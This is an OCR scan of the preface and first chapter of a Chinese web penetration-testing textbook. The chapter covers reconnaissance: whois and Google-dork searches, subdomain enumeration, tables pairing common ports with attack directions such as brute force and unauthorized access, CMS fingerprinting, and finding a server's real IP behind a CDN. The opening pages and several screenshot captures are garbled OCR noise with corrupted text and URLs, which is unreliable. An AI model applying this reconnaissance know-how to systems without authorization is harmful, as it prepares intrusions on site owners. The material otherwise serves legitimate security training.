


M
m字叫

吐
叫

A
川

R
M监 川

川
置

问
创
刊
欢

m
w
险
、

AH WR U 

。激%运1~才lJ

＊%普选‘辜草草草平不主主羁%P莘莘将举1日主主辛
苦瓮fl士王辈革丰陆菌咨、1ngaaJ才苹昂。阻挡：王八3

1八NJ、L%~f~‘国：些苓运、护士研R号召f＇号
主导豁出些↓%士王2罢：‘十＇.）.！＇担固守｝口主革1阳：要看召
开菌。Y2草莓Yll固＞Wt‘鄂、击’苓否适Z聪圣王J
'ilJI‘国阻~圣汤里里甲盟主4、碎性面离主｝昂

i101dx3xo : OI ·~圃，．
E型王与理L.... 

。至丰阜黠螃阳fl士王辈革苓运09SE军等‘国：~／！：3八3、L
%P号召f＇号~号召手国；1!11！↓%士到罢！＇~.$甜
苦~~、革1阳；喜爱1并菌‘百草恤苓运~罪活国政

09S ¥1肇丑陋‘虫。－盐工注：1监事等主导~~正王｝鼻

4’h 

.. a:二’‘
””回1

型哥：OIt ，｛「导
姑X主副二←二到如

。王草草草草丰舅%P主要军将都口主车’号
主主lfa蜘、四￥亘芸吉凶、军苓圣09S、1ngaaJ才
、｛{{ff圭主主凿〉、〈举目非×幸窗〉飞弱单｜；量
宣言户萃~‘〈游茸吉凶性出些居凶轩运单l活i~
~）悻国到用百。辑写要黎苓运饭刨阔罩幸昼
＇$耳Zld\i口主要每！~缸l吾~~豆苗±£！）：盖平‘苓运部
刨喃辈:i:~cooc。目2至也苓运委￥罢？草草1~

乙二：：－－－－.属；
气τ、‘.~‘’

一’因•：

句凉’气：－－·

剿号？轩
e U里1里主｝



仅供非商业用途或交流学习佼川

，、‘
、，，

，《1三

徐赦李文轩王东亚著

盯
pa HU 

AU n 冒
a
A

占
4
3

.4RN 

放
m
u

m－ν

、
l

也

h

日

R
U
汀
」

苦

F
M
m

z

m
中口
小

u
-vu 

子

h
j

L
r吧
咆

LH 
P、U

LU u nr e 
仅供｜！一阴业用途yJi:交流学习佼用



仅供非商业用途或交流学习佼用

内容简介

本书由浅入深、全面、系统地介绍了当前流行的高危漏洞的攻击手段和防御方法， 并力求语言通俗易

懂，举例简单明了，便于读者阅读、领会。结合具体案例进行讲解，可以让读者身临其境，快速地了解和

掌握主流的漏洞利用技术与渗透测试技巧。

阅读本书不要求读者具备渗透测试的相关背景，如有相关经验在理解时会更有帮助。本书亦可作为大

专院校信息安全学科的教材。

未经许可， 不得以任何方式复制或抄袭本书之部分或全部内容。

版权所有， 侵权必究。
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推荐序

经过老友夜以继日、逐字逐句地编写，本书终于出版了，在这里首先表示感谢，

感谢编者将多年的工作经验汇聚成书。 我从事信息安全工作己经18年，对于想从事

渗透测试工作的朋友来说，我认为本书确实是一本难得的良师秘籍。我在阅读完本

书后，和老友说，我会将本书推荐到北京中安国发信息技术研究院“全国SA级信息

安全人才培养”的教材体系和“国家信息安全保障人员认证应急服务实践操作考试

参考教材目录”中去，老友回复道，“本书涉及的实验将会很快推出，所有配套的实

验将放到红黑演义网络安全学院的云端实验平台上供大家练习。”届时，读者可以一

边阅读一边实践，实乃一大幸事！

我极力推荐专业从事渗透测试的人员、信息安全一线防护人员、网络安全厂商

技术工程师、网络犯罪侦查与调查人员阅读本书，当然也推荐红黑演义网络安全院

的2万名学员在想继续深造时学习本书配套的课程和实验。

具体的推荐理由有以下几点 ：

本书的实战性极强，比如在前期踩点阶段，“敏感信息收集”和“社会工程学”

工作开展的细致程度就能体现出渗透者的阅历水平，如果这两方面的工作做好了，

对后期提权和内网渗透的帮助就很大。

本书的进阶性好，实现了深入浅出地引导读者从入门到进阶，汇总了渗透测试

工作中各种技术知识点的细微类型，渗透是否能够从里程碑直接到“黄龙府”，关键

就在这些“细枝末节”上，我想这些地方对提高读者渗透水平的帮助应该是最大的。

本书对Web渗透技术原理的解读，透彻但不拖沓，对高效学习很有帮助，属于干

货分享型。书中加入了大量绕过技术，这些技术在一些大型系统做了很多轮渗透之

后再做渗透面临尴尬状态时特别有帮助。

本书介绍了一些在非常规渗透时用的技术和经验，比如“逻辑漏洞挖掘”“XXE

仅供非商业用途或交流学习使用
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漏洞”，这样的漏洞利用哪怕是在知名的Facebook、 PayPal等网站上都引发过问题。

尽管XXE漏洞己经存在了很多年，但是从来没有获得它应得的关注度。很多XML的

解析器默认是含有XXE漏洞的，这意味着渗透测试人员应该去测试、验证它。

最后，本书还给出了常用工具和各式利器，并详细讲解了使用它们的技巧和步

骤，这些工具会大大降低渗透测试人员的劳动强度，快速将客户的系统漏洞挖掘出

来。

张胜生 2018 年 4 月 12 日于北京

北京中安国发信息技术研究院院长

工信部／教育部网络安全领域专家

省级产业教授／研究生导师

北京市级百名网络安全专家负责人

CISSP认证考试指南译者／资深讲师

中国信息安全认证中心应急服务人员认证体系牵头人

仅供非商业用途或交流学习佼用
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剧吕

对于网络安全专业的人士来说， 2017年是忙碌的一年，我们经历了美国国家安

全局的敏感数据泄露事件、各种“邮件门”事件、“想哭”（WannaCry）勒索病毒肆

虐全球，以及＂8. 19徐玉玉电信诈骗案”等安全大事。随着智能终端改变着人们生

活中的方方面面，互联网渗透进国民经济的各行各业，用户的隐私安全受到更大威

胁，企业也面临着向互联网企业的转型和升级，信息安全将成为未来所有普通人最

关心的问题之一。

随着“网络空间安全”被批准为国家一级学科，各高校网络空间安全学院如雨

后春笋般纷纷成立，但各高校的网络安全教育普遍存在一个问题，便是很少全面、

系统地开设“渗透测试”方面的课程，而“渗透测试”作为主动防御的一种关键手

段，对评估网络系统安全防护及措施至关重要，因为只有发现问题才能及时终止井

预防潜在的安全风险。目前市面上的网络安全书籍良亮不齐，希望本书能为网络安

全行业贡献一份微薄之力。

本书出版的同时计划出版姐妹篇一一《内网安全攻防：渗透测试实战指南》，目

前已经在撰写中，具体目录及进展情况可以在http://www.ms08067.com中查看。

本书结构

本书基本囊括了目前所有流行的高危漏洞的原理、攻击手段和防御手段，并结

合大量的图文解说，可以使初学者很快掌握Web渗透技术的具体方法和流程，帮助初

学者从零开始建立起一些基本技能。

全书按照从简单到复杂、从基础到进阶的顺序讲解，不涉及一些学术性、纯理

论性的内容，所讲述的渗透技术都是干货。读者按照书中所讲述的步骤操作即可还

原实际的渗透攻击场景。

e 
仅供非商业用途或交流学习使用



VI ... Web安全攻防：渗透测试实战指南

第 1 章 渗透测试之信患收集

进行渗透测试之前，最重要的一步就是信息收集。在这个阶段，我们要尽可能

地收集目标的信息。所谓“知己知彼， 百战不殆”，我们越了解测试目标，测试的工

作就越容易。本章主要介绍了域名及子域名信息收集、查找真实IP、 CMS指纹识别、

目标网站真实IP、常用端口的信息收集等内容。

第 2 章擂建漏洞环境及实战

“白帽子”在目标对象不知情或者没有得到授权的情况下发起的渗透攻击是非

法行为，所以我们通常会搭建一个有漏洞的Web应用程序，以此来练习各种各样的安

全渗透技术。本章主要介绍了Linux系统下的LANMP, Windows系统下的WAMP应用

环境的搭建， DVWA漏洞平台、 SQL注入平台、 xss测试平台等常用渗透测试漏洞练

习平台的安装配置及实战。

第 3 章常用的渗透测试工具

“工欲善其事，必先利其器”，在日常的渗透测试中，借助一些工具，“自帽子”

可以更高效地执行安全测试，这能极大地提高工作的效率和成功率。本章详细介绍

了常用的三大渗透测试工具SQLMap 、 Bu叩 Suite 、 Nmap的安装、入门和实战利用。

第 4 章 Web 安全原理剖析

Web渗透的核心技术包括SQL注入、 xss攻击、 cs盯攻击、 SS盯攻击、暴力破

解、文件上传、命令执行漏洞攻击、逻辑漏洞攻击、 XXE漏洞攻击和WAF绕过等。

本章依次将这些常见高危漏洞提取出来，从原理到利用，从攻击到防御，一一讲解。

同时还讲解了CSRF漏洞、 SSRF漏洞、 XXE漏洞、暴力破解漏洞、命令执行漏洞、

文件上传漏洞、逻辑漏洞的形成原理、漏洞利用、代码分析，以及修复建议。

第 5 章 Metasploit 技术

Metasploit是近年来最强大、最流行和最有发展前途的开源渗透测试平台软件之

一。它完全颠覆了己有的渗透测试方式。本章详细介绍了Metasploit的攻击步骤、信

息收集、漏洞分析、漏洞利用、权限提升、移植漏洞代码模块，以及如何建立后门

的实践方法。通过具体的内网域渗透测试实例，分析如何通过一个普通的WebShell

e 
仅供非商业用途或交流学习使用
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权限一步一步获取域管权限，最终畅游整个内网。

第 6 章 PowerShell 政击指南

在渗透测试中， PowerShell是不能忽略的一个环节，而且仍在不断地更新和发展，

它具有令人难以置信的灵活性和功能化管理Windows系统的能力。 PowerShell的众多

特点使得它在获得和保持对系统的访问权限时，也成为攻击者首选的攻击手段。 本

章详细介绍了PowerShell的基本概念和常用命令，以及PowerSploit、 Empire 、 Nishang

等常用PowerShell攻击工具的安装及具体模块的使用，包括生成木马、信息探测、权

限提升、横向渗透、凭证窃取、键盘记录、后门持久化等操作。

第 7章实例分析

对网站进行渗透测试前，如果发现网站使用的程序是开源的CMS，测试人员一

般会在互联网上搜索该CMS己公开的漏洞，然后尝试利用公开的漏洞进行测试。 由

于CMS己开源，所以可以将源码下载，直接进行代码审计，寻找源码中的安全漏洞。

本章结合实际的源码，详细介绍了如何找出SQL注入漏洞、文件删除漏洞、文件上传

漏洞、添加管理员漏洞、竞争条件漏洞等几种常见安全漏洞的代码审查方法，井通

过实际案例细致地讲解了几种典型的攻击手段，如后台爆破、 SSRF+Redis获得

WebShell、旁站攻击、重置密码攻击和SQL注入攻击，完美复现了整个实际渗透攻击

的过程。

特别声明

本书仅限于讨论网络安全技术，书中展示的案例只是为了读者更好地理解攻击

者的思路和操作，以达到防范信息泄露、保护信息安全的目的，请勿用于非法用途 ！

严禁利用本书所提到的漏洞和技术进行非法攻击，否则后果自负，本人和出版

商不承担任何责任 ！

联系作者

读者在阅读本书过程中遇到任何问题或者有任何意见，都可以直接发电子邮件

至8946723@qq.com进行反馈。
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读者也可以加入本书的交流QQ群 036151662）进行交流。

同步网站内容

本书的同步网站为http://www.ms08067.com，该网站主要提供以下资源。

. 本书列出的一些脚本的源代码。

. 本书讨论的所有工具和其他资源的下载或链接。

. 关于本书内容的勘误更新。

读者服务

致谢

轻松注册成为博文视点社区用户（www.broadview.com.cn），扫码直达本书页面。

. 提交勘误： 您对书中内容的修改意见可在主主盘盖处提交，若被采纳，

将获赠博文视点社区积分（在您购买电子书时，积分可用来抵扣相应金额）。

. 交流互动：在页面下方读者评论处留下您的疑问或观点，与我们和其他
读者一同学习交流。

页面入口： h忧p://www.broadview.eom.cn/34283

感谢电子工业出版社编辑吴倩雪审阅本书稿，找出了书中的许多错误。感谢我

的兄弟徐儒弟对本书封面的精美设计。感谢李韩对本书同步网站的精心制作。

感谢carry_your、武鑫、张茵茵、椰树、 TT参与了本书部分内容的编写。 感谢张

胜生、陈亮、程冲、周培源、周勇林、 Mcvoodoo、尹毅百忙之中抽空为本书写序、
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写推荐语。

感谢各位圈内的朋友，他们包括但不限于：陈小兵、矩阵、 klion、 key、不许联

想、暗夜还差很远、博雅、杨凡、 曲云杰、陈建航、位面消隐、 Demon···

感谢我的父母，感谢你们含辛茹苦地将我抚育成人，教会我做人的道理，在我

生命的任何时刻都默默地站在我的身后，支持我，鼓励我！

感谢我的妻子，撰写本书基本占用了我所有的业余时间，几年来，感谢你每天

在忙碌的工作之余对我的照顾和呵护。谢谢你为我付出的一切，你的支持是对我最

大的鼓励。

感谢徐唏溪小朋友，你的到来让爸爸的世界充满了阳光，家里每个角落都充满

了你咯咯咯的笑声。希望你可以慢些长大，你永远在爸爸内心最柔软的地方 ！

最后，感谢那些曾在我生命中经过的你们，感谢你们曾经的陪伴、帮助和关爱，

这些都是我生命中不可或缺的一部分，谢谢你们 ！

念念不忘，必有回响！

徐获

2018年4月于镇江
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第 1 章渗透测试之信息收集

进行渗透测试之前， 最重要的一步就是信息收集，在这个阶段，我们要尽可能

地收集目标组织的信息。所谓 “知己知彼，百战不殆n，我们越是了解测试目标，测

试的工作就越容易。在信息收集中，最主要的就是收集服务器的配置信息和网站的

敏感信息，其中包括域名及子域名信息、目标网站系统 、 CMS指纹、目标网站真实

E、开放的端口等。 换句话说，只要是与目标网站相关的信息，我们都应该去尽量搜

集。

1 . 1 收集域名信息

知道目标的域名之后，我们要做的第一件事就是获取域名的注册信息，包括该

域名的DNS服务器信息和注册人的联系信息等。域名信息收集的常用方法有以下这

几种。

1.1.1 Whois 查询

Who is是一个标准的互联网协议， 可用于收集网络注册信息，注册的域名、 IP地

址等信息。简单来说， Whois就是一个用于查询域名是否己被注册以及注册域名的详

细信息的数据库（如域名所有人、域名注册商〉。 在Whois查询中，得到注册人的姓

名和邮箱信息通常对测试个人站点非常有用，因为我们可以通过搜索引擎和社交网

络挖掘出域名所有人的很多信息。对中小站点而言，域名所有人往往就是管理员。

在Kali系统中， Whois己经默认安装，只需输入要查询的域名即可，如图 l『 l所示。
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图1-1 Kali下的Who is查询

在线Whois查询的常用网站有爱站工具网 C https://whois.aizhan.com）、站长之家

( http://whois.chinaz.com）和VirusTotal ( https://www.virustotal.com），通过这些网站

可以查询域名的相关信息，如域名服务商、域名拥有者，以及他们的邮箱、电话、

地址等。

1.1.2 备案信息查询

网站备案是根据国家法律法规规定，需要网站的所有者向国家有关部门申请的

备案，这是国家信息产业部对网站的一种管理，为了防止在网上从事非法的网站经

营活动的发生。 主要针对国内网站，如果网站搭建在其他国家，则不需要进行备案。

常用的网站有以下这两个。

• ICP备案查询网： http://www.beianbeian.com o

• 天眼查： http : //www.tianyancha.como 

1.2 收集敏感信息

Google是世界上最强的搜索引擎之一，对一位渗透测试者而言，它可能是一款绝

佳的黑客工具。 我们可以通过构造特殊的关键宇语法来搜索互联网上的相关敏感信

息 。 下面列举了一些Google的常用语法及其说明，如表1- 1所示。
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表1-1 Google的常用语法及其说明

关键字 说 明

Site 指定域名

Inurl URL 中存在关键字的网页

In tex t 网页正文中的关键字

Filetype 指定文件类型

Inti tie 网页标题中的关键字

l ink li nk:baidu .com 即表示返回所有和 ba idu .com 做了链接的 URL

Info 查找指定站点的一些基本信息

cache 搜索 Google 里关于某些内容的缓存

举个例子，我们尝试搜索一些学校网站的后台，语法为“site : edu . cn intext：后台

管理”， 意思是搜索网页正文中含有“后台管理”并且域名后缀是edu.cn的网站，搜

索结果如图 1 -2所示。
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图 1-2 搜索敏感信息

可以看到利用Google搜索，我们可以很轻松地得到想要的信息，还可以用它来收

集数据库文件、 SQL注入、配置信息、源代码泄露、未授权访问和robots . txt等敏感信

息
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当然，不仅是Google搜索引擎，这种搜索思路还可以用在百度、雅虎 、 Bing 、

Shodan等搜索引擎上， 其语法也大同小异。

另外，通过Burp Sui te的Repeater功能同样可以获取一些服务器的信息，如运行的

Se凹er类型及版本、 PHP的版本信息等。 针对不同的Server，可以利用不同的漏洞进

行测试，如图 1-3所示。
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图 1-3 服务器的配置信息

除此之外，也可以尝试在GitHub上寻找相关敏感信息，如数据库连接信息、邮

箱密码、 uc-key、阿里的osskey ， 有时还可以找到泄露的源代码等。

读者可以通过乌云漏洞表（https ://wooyun.shuimugan.com）查询历史漏洞信息。

1.3 收集子域名信息

子域名也就是二级域名 ， 是指顶级域名下的域名。 假设我们的目标网络规模比

较大，直接从主域入手显然是很不理智的 ， 因为对于这种规模的目标， 一般其主域

都是重点防护区域，所以不如先进入 目标的某个子域，然后再想办法迂回接近真正

的目标，这无疑是个比较好的选择。 那么 问题来了，怎样才能尽可能多地搜集目标

的高价值子域呢？ 常用的方法有以下这几种。

1. 子域名检测工具

用于子域名检测的工具主要有Layer子域名挖掘机、 K8 、 wydomain , Sublist3r、
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dnsmaper 、 subDomainsBrute 、 Maltego CE等。 笔者重点推荐Layer子域名挖掘机、

Sublist3r和subDomainsBrute 。

Layer子域名挖掘机的使用方法比较简单，在域名对话框中直接输入域名就可以

进行扫描，它的显示界面比较细致，有域名、解析IP、 CDN列表、 Web服务器和网站

状态，如图1-4所示，这些对安全测试人员来说非常重要。
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图1-4 Layer子域名控掘机
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subDomainsBrute的特点是可以用小字典递归地发现三级域名、四级域名，甚至

五级域名等不容易被探测到的域名。执行该工具的命令如下所示。

python subDomainsbrute.py xxxx.com 

Sublist3r也是一个比较常用的工具，它能列举多种资源，如在Google、 Yahoo 、

Bing 、 Baidu和Ask等搜索引擎中可查到的子域名，还可以列出Netcraft、 VirusTotal 、

ThreatCrowd、 DNSdumpster手日Reverse DNS查到的子域名 。

2. 搜索引擎枚举

我们可以利用Google语法搜索子域名，例如要搜索百度旗下的子域名就可以使用

“site:baidu.com”语法，如图1-5所示。
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图 1-5 用Google搜索子域名

3 . 第三75聚合应用枚举

很多第三方服务汇聚了大量DNS数据集，可通过它们检索某个给定域名的子域

名。只需在其搜索栏中输入域名，就可检索到相关的域名信息，如图1-6所示。

Sibling D。mains ID 

由M阳1c1..闹，。kla阿＞baldu.com

mh事low凡baldu.com

Uulanqlbaldu.c阳啊

d旺lkk.baldu .c四”

d回wn.baldu.c阳TI

民baldu.com

lr.baldu.com 

a割。w咄aldu皿m

F也显配baldu.c田n

to弘baldU.cotT育

product.baldu.com 

日Igou baldu.com 

chf.balduεcm 

d阳b萨国ldu.ccm

ι.gd阳'll.baldu剧n

stat且tieba.baldu.回m

沪，qlng.baldu.田m

91.gdcwn.baldu.ccm 

m肘。wn.baldu.ccm

由angqing.baldu.ccm

~ 

图1-6 查询百度的子域名
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读者也可以利用DNSdumpster网站 Ch阳：11dnsdumpster. com/）、在线DNS侦查和

搜索的工具挖掘出指定域潜藏的大量子域。

4. 证书透明度公开曰志枚举

证书透明度（ Certificate Transparency, CT）是证书授权机构 CCA）的一个项目，

证书授权机构会将每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含

域名、子域名和邮件地址，这些也经常成为攻击者非常希望获得的有用信息。查找

某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志。

笔者推荐crt.sh: https ：“rt.sh和censys:htφs :I I censys .i。这两个网站，下面展示了一

个crt.sh进行子域名枚举的例子，如图1-7所示。

2D’7~”如。， 2017.0S.C”
甜”。6-12 m刊。马』岳阳＊嗣
剖’同时’组~ ’ e耐
2017＜刻间。， 20174'<11 .. 咽
’”。。扭扭’74>响酬 l
蜀’T＜”4” 却H咽。，.，，.协
抽17<><4， 血”7<><4’··四
嚣，，＠崎’ ，”’阿抽＠， ... 
2017.oloOI 201阳”。，1恤』
嚣’T-0<41 · :zo11＜田~ YNNI 

图1-7 子域名枚举
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此外，读者还可以利用一些在线网站查询子域名，如子域名爆破网站

Chttps:llphpinfo.meldomain), IP反查绑定域名网站 C http :/I也s.aizhan.com）等。

1.4 收集常用端口信息

在渗透测试的过程中，对端口信息的收集是一个很重要的过程，通过扫描服务

器开放的端口以及从该端口判断服务器上存在的服务，就可以对症下药，便于我们

渗透目标服务器。

所以在端口渗透信息的收集过程中，我们需要关注常见应用的默认端口和在端

口上运行的服务。最常见的扫描工具就是Nmap （具体的使用方法后续章节会详细介

绍），无状态端口扫描工具Masscan 、 ZMap和御剑高速TCP端口扫描工具，如图 1-8

仅供非商业用途或交流学习使用
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所示。

m 翻剑高速TCP绪口日寇工黑 口 ×

开始IP : 结束IP : 超的／秒缓冲区

| ｜曰｜ 【:J~o鳞口附⑥梅和 仨蛮3
插Ei南口;t｝.表（格式用英文)A号隔开 ： 旬，配剧， 6090唱100)
12 1，忽， 23， 药， 白，ω，钩， 81咽， 11队 135， 闭， 143, 443, 4侃侃993，捕， 1棚， 11囚， 1433, I阻， 1脯， 2100, 312 

开放§描口

图 1-8 御剑高速端口扫描工具

常见的端口及其说明，以及攻击方向汇总如下。

. 文件共享服务端口如表1-2所示。

表1-2 文件共享服务端口

端口号 端口说明 攻击方向

21122/69 Ftp厅ftp 文件传输协议 允许匿名的上传、下载、爆破车日嗅探操作

2049 Nfs 服务 配置不当

139 Samba 服务 爆破、 未授权访问、远程代码执行

389 Ldap 目录访问协议 注入、 允许匿名访问、弱口令

• 远程连接服务端口如表1 -3所示。

表1-3 远程连接服务端口

端口号 端口说明 攻击方向

22 SSH 远程连接 爆破、 SSH 隧道及内网代理转发、文件传输

23 Telnet 远程连接 爆破、 嗅探、 弱口令

3389 Rdp 远程桌面连接 Shi丘 后门 （需要 Windows Server 2003 以下的系

统）、爆破

5900 VNC ~~口令爆破

5632 Py Anywhere 服务 抓密码、代码执行

• Web应用服务端口如表1-4所示。

仅供非商业用途或交流学习佼用
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表1-4 Web应用服务端口

端口号 端口说明

80/443/8080 常见的 Web 服务端口

7001 /7002 WebLogic 控制台

8080/8089 Jboss/Resin/Jetty/Jenkins 

9090 WebSphere 控制台

4848 Glassfi sh 控制台

1352 Lotus domino 邮件服务

10000 Webmin-W巳b 控制面板

• 数据库服务端口如表1-5所示。

表1-5 数据库服务端口

端口号 端口说明

3306 MySQL 

1433 MSSQL 数据库

1521 Oracle 数据库

5432 PostgreSQL 数据库

27017/27018 MongoDB 

6379 Re dis 数据库

5000 SysBase/DB2 数据库

• 邮件服务端口如表1-6所示。

表1-6 邮件服务端口

25 

110 

143 

端口号 端口说明

SMTP 邮件服务

POP3 协议

IMAP 协议

• 网络常见协议端口如表 1 -7所示。

表1-7 网络常见协议端口

端口号

53 

67/68 

161 

端口说明

DNS 域名系统

DHCP 服务

SNMP 协议

第 l章渗透测试之信息收集 ... 9 

攻击方向

Web 攻击、 爆破、对应服务器版本漏洞

Java 反序列化、弱口令

反序列化、控制台弱口令

Java 反序列化、弱口令

弱口令

弱口令、信息泄露、爆破

弱口令

攻击方向

注入、提权、爆破

注入、提权、 SA 弱口令、爆破

TNS 爆破、注入、反弹 Shell

爆破、注入、弱口令

爆破、未授权访问

可尝试未授权访问、弱口令爆破

爆破、注入

邮件伪造

爆破、嗅探

爆破

攻击方向

攻击方向

允许区域传送、 DNS 劫持、缓存投毒、欺骗

劫持、欺骗

爆破、搜集目标内网信息

仅供非商业用途或交流学习使用
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• 特殊服务端口如表1 -8所示。

表1-8 特殊服务端口

端口号 端口说明 攻击方向

2181 Zoo keeper 服务 未授权访问

8069 Zabbix 服务 远程执行、 SQL 注入

9200/9300 Elasticsearch 服务 远程执行

11211 Memcache 服务 未授权访问

512/513/514 Linux Rexec 服务 爆破、 Rlogin 登录

873 Rsync 服务 匿名访问、 文件上传

3690 Svn 服务 Svn 泄露、未授权访问

50000 SAP Management Console 远程执行

1.5 指纹识别

指纹由于其终身不变性、唯一性和方便性，几乎己成为生物特征识别的代名词。

通常我们说的指纹就是人的手指末端正面皮肤上凸凹不平的纹线，纹线规律地排列

形成不同的纹型。而本节所讲的指纹是指网站CMS指纹识别、计算机操作系统及Web

容器的指纹识别等。

应用程序一般在h曲也 js 、 css等文件中多多少少会包含一些特征码，比如WordPress

在robots.txt中会包含wp-admin、首页index抖lp中会包含generator=wordpress 3 .xx，这

个特征就是这个CMS的指纹，那么当碰到其他网站也存在此特征时，就可以快速识

别出该CMS，所以叫作指纹识别。

在渗透测试中，对目标服务器进行指纹识别是相当有必要的，因为只有识别出

相应的Web容器或者CMS，才能查找与其相关的漏洞，然后才能进行相应的渗透操作。

CMS (Content Management System）又称整站系统或文章系统。在2004年以前，

如果想进行网站内容管理， 基本上都靠手工维护，但在信息爆炸的时代，完全靠手

工完成会相当痛苦。 所以就出现了CMS，开发者只要给客户一个软件包，客户自己

安装配置好，就可以定期更新数据来维护网站，节省了大量的人力和物力。

常见的CMS有Dedecms （织梦）、 Discuz 、 PHPWEB 、 PHPWind、 PHPCMS、 ECShop 、

Dvbbs、 SiteWeaver、 ASPCMS、帝国、 Z-Blog 、 WordPress等。

代表工具有御剑Web指纹识另lj 、 WhatWeb 、 WebRobo、椰树、轻量WEB指纹识

仅供非商业用途或交流学习使用
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别等，可以快速识别一些主流CMS，如图 1-9所示。

酬识到： 巨1 开始识到 结束i?J调 导入文件 导出结果
产『－－唱－咽晴嗣同F

藉空尹蹄

ID \lrl 』$ Poth s tatus 

1矶、，. ／／咽帽． ‘oln. co . . 缸缸幅军 J飞>Ploads/usuup/indox . hW 、旦26/s

图 1-9 CMS扫描工具

除了这些工具，读者还可以利用一些在线网站查询CMS指纹识别，如下所示。

• BugScaner: http://whatweb. bugscaner.corn/look/ 。. 云悉指纹： http://www.yunsee.cn/finger. html 。

· 和WhatWeb: https://whatweb .net/。

1.6 查找真实 IP

在渗透测试过程中，目标服务器可能只有一个域名，那么如何通过这个域名来

确定目标服务器的真实IP对渗透测试来说就很重要。 如果目标服务器不存在CDN,

可以直接通过www.ipl38.com获取目标的一些IP及域名信息。 这里主要讲解在以下这

几种情况下，如何绕过CDN寻找目标服务器的真实IP 。

1. 目标服务器存在 CON

CDN即内容分发网络，主要解决因传输距离和不同运营商节点造成的网络速度

性能低下的问题。 说得简单点，就是一组在不同运营商之间的对接节点上的高速缓

存服务器，把用户经常访问的静态数据资源（例如静态的html 、 css 、 js图片等文件〉

直接缓存到节点服务器上，当用户再次请求时，会直接分发到在离用户近的节点服

务器上响应给用户，当用户有实际数据交互时才会从远程Web服务器上响应，这样可

以大大提高网站的响应速度及用户体验。

仅供非商业用途或交流学习使用
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所以如果渗透目标购买了CDN服务，可以直接ping 目标的域名，但得到的并非真

正的目标Web服务器，只是离我们最近的一台目标节点的CDN服务器， 这就导致了我

们没法直接得到目标的真实IP段范围。

2 . 判断目标是否使用了 CON

通常会通过ping 目标主域，观察域名的解析情况，以此来判断其是否使用了CDN ,

如图 1 -10所示。
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图 1-10 ping域名

还可以利用在线网站l 7CE C https://www.l7ce.com）进行全国多地区的ping服务

器操作， 然后对比每个地区ping出的IP结果，查看这些IP是否一致，如果都是一样的，

极有可能不存在CDN 。 如果IP大多不太一样或者规律性很强，可以尝试查询这些IP

的归属地，判断是否存在CDN。

3. 绕过 CON 寻找真实 IP

在确认了目标确实用了CDN以后，就需要绕过CDN寻找目标的真实IP，下面介

绍一些常规的方法。

• 内部邮箱源。一般的邮件系统都在内部，没有经过CDN的解析，通过目标

网站用户注册或者RSS订阅功能，查看邮件、寻找邮件头中的邮件服务器域

名IP, ping这个邮件服务器的域名 ， 就可以获得目标的真实IP （注意，必须

是目标自己的邮件服务器，第三方或公共邮件服务器是没有用的〉 。

• 扫描网站测试文件，如phpinfo 、 test等，从而找到目标的真实IP 。

• 分站域名 。 很多网站主站的访问量会比较大，所以主站都是挂CDN的，但

是分站可能没有挂CDN，可以通过ping二级域名获取分站IP，可能会出现分

站和主站不是同一个IP但在同一个C段下面的情况，从而能判断出目标的真

实E段。

仅供｜｜＝商业用途或交流学习使用
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• 国外访问 。 国内的CDN往往只对国内用户的访问加速，而国外的CDN就不

一定了。因此，通过国外在线代理网站App Synthetic Monitor Chttps://asm.ca. 

com/en 巾ing .php）访问，可能会得到真实的IP，如图 1 - 1 l所示。

使局势的全球范园内垣lit 90 个监望工作站所组成的网络来 Ping 腿隽嚣障碍站

www.zhenai.com l例如 www.yah。。c。m) …~ 
Pmg: www.zhenai com 

撞董点 篇篡 min. ，仓健小往垣回简 avg. ’“ m:uc. rtt IP 

提大利亚－ E日Wi (au阳『0 1 ) 嗣定 392.793 412.383 420.060 122.225.30.38 

澳大利亚·在里斯班（aubne02) 梅定 343.958 357 038 365.381 58 221 .78.154 

阿倍廷－布置诺斯文事j斯 （arbue01) 愉定 353.155 353.955 354.936 122.225.30.38 

澳大利亚－悉尼（ausyd04) 偏定 199.412 199.560 199.736 58.221.78.154 

羹目，亚特兰大（usat102) 蝙定 259.780 282.745 293.663 58.221 78.154 

澳大利亚－患尼（ausyd03) 铺定 271 .091 281 409 290 0臼 58.221 . 78. 154

巴西·圣保罗（brsao04) 输定 315.269 316 345 320.555 58.221.78.154 

巴西，向嚣梅里港｛由回a01) 摘走 402.031 429.712 442.800 122.225.30.38 

巴西，里约棚卢｛阳的｝ 铺定 407.555 413.创4 419.948 122.225.30.38 

加鑫大 －温哥华（c嗣n03) 愉定 271 .971 287.580 303.520 58 221 .78.154 

比1闺阁，安精卫蕃（beanr03) 搞运 196.149 197.404 200.臼7 58.221 .78.154 

保加利亚·酣哑问sotlJ2) 骗定 282.582 282 706 282.824 58 221.78.154 

白皮－理细罗尔（inbir01) 摘走 411.069 425 891 437.425 58 .221 . 7自 154

羹因－扭’尔德（u刷出01) 蝙定 208.007 221.759 235249 58.221.78.154 

羹囡·法士顿（usbos02) 输定 232 995 233. 146 233.730 58.221 .78 154 

图1-11 国外在线代理网站

• 查询域名的解析记录。 也许目标很久以前并没有用过CDN，所以可以通过

网站NETC RAFT C htφs：／川ww.netcraft.com/）来观察域名的IP历史记录，也

可以大致分析出目标的真实IP段。

• 如果目标网站有自己的App，可以尝试利用Fiddler或Burp Suite~取App的请

求，从里面找到目标的真实IP 。

• 绕过CloudFlare CDN查找真实IP 。 现在很多网站都使用CloudFlare提供的

CDN服务，在确定了目标网站使用CDN后，可以先尝试通过在线网站Cloud

Flare Watch ( h即：／／www.crimeflare .us/cfs .html#box）对CloudFlare客户网站进

行真实IP查询，结果如图 1 -1 2所示。

仅供非商业用途或交流学习使用
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amold.ns.cloud何are.com
betty.ns.cioud伺are.com

SSL certlficat量 info for vidreactor.com 

A direct-connect IP address was found: vidreactor.com 185.92.194.18 ROMANIA 

An attempt to fetch a page fr。m this IP was unsuccessful. 

Previous lookups for this domain: 

• 2018-01-14:“dreactor.com 185.92.194.18 ROMANIA 
• 2017-”-17: vidreactor.com 186.92.194.60 R。MANIA

图1-12 查询Cloud Flare的真实IP

4. 验证获取的 IP

找到目标的真实E以后，如何验证其真实性呢？如果是Web，最简单的验证方法

是直接尝试用IP访问，看看响应的页面是不是和访问域名返回的一样；或者在目标段

比较大的情况下，借助类似Masscan的工具批扫描对应IP段中所有开了80 、 443 、 8080

端口的E，然后逐个尝试IP访问，观察响应结果是否为目标站点。

1.7 收集敏感目录文件

在渗透测试中，探测Web 目录结构和隐藏的敏感文件是一个必不可少的环节，从

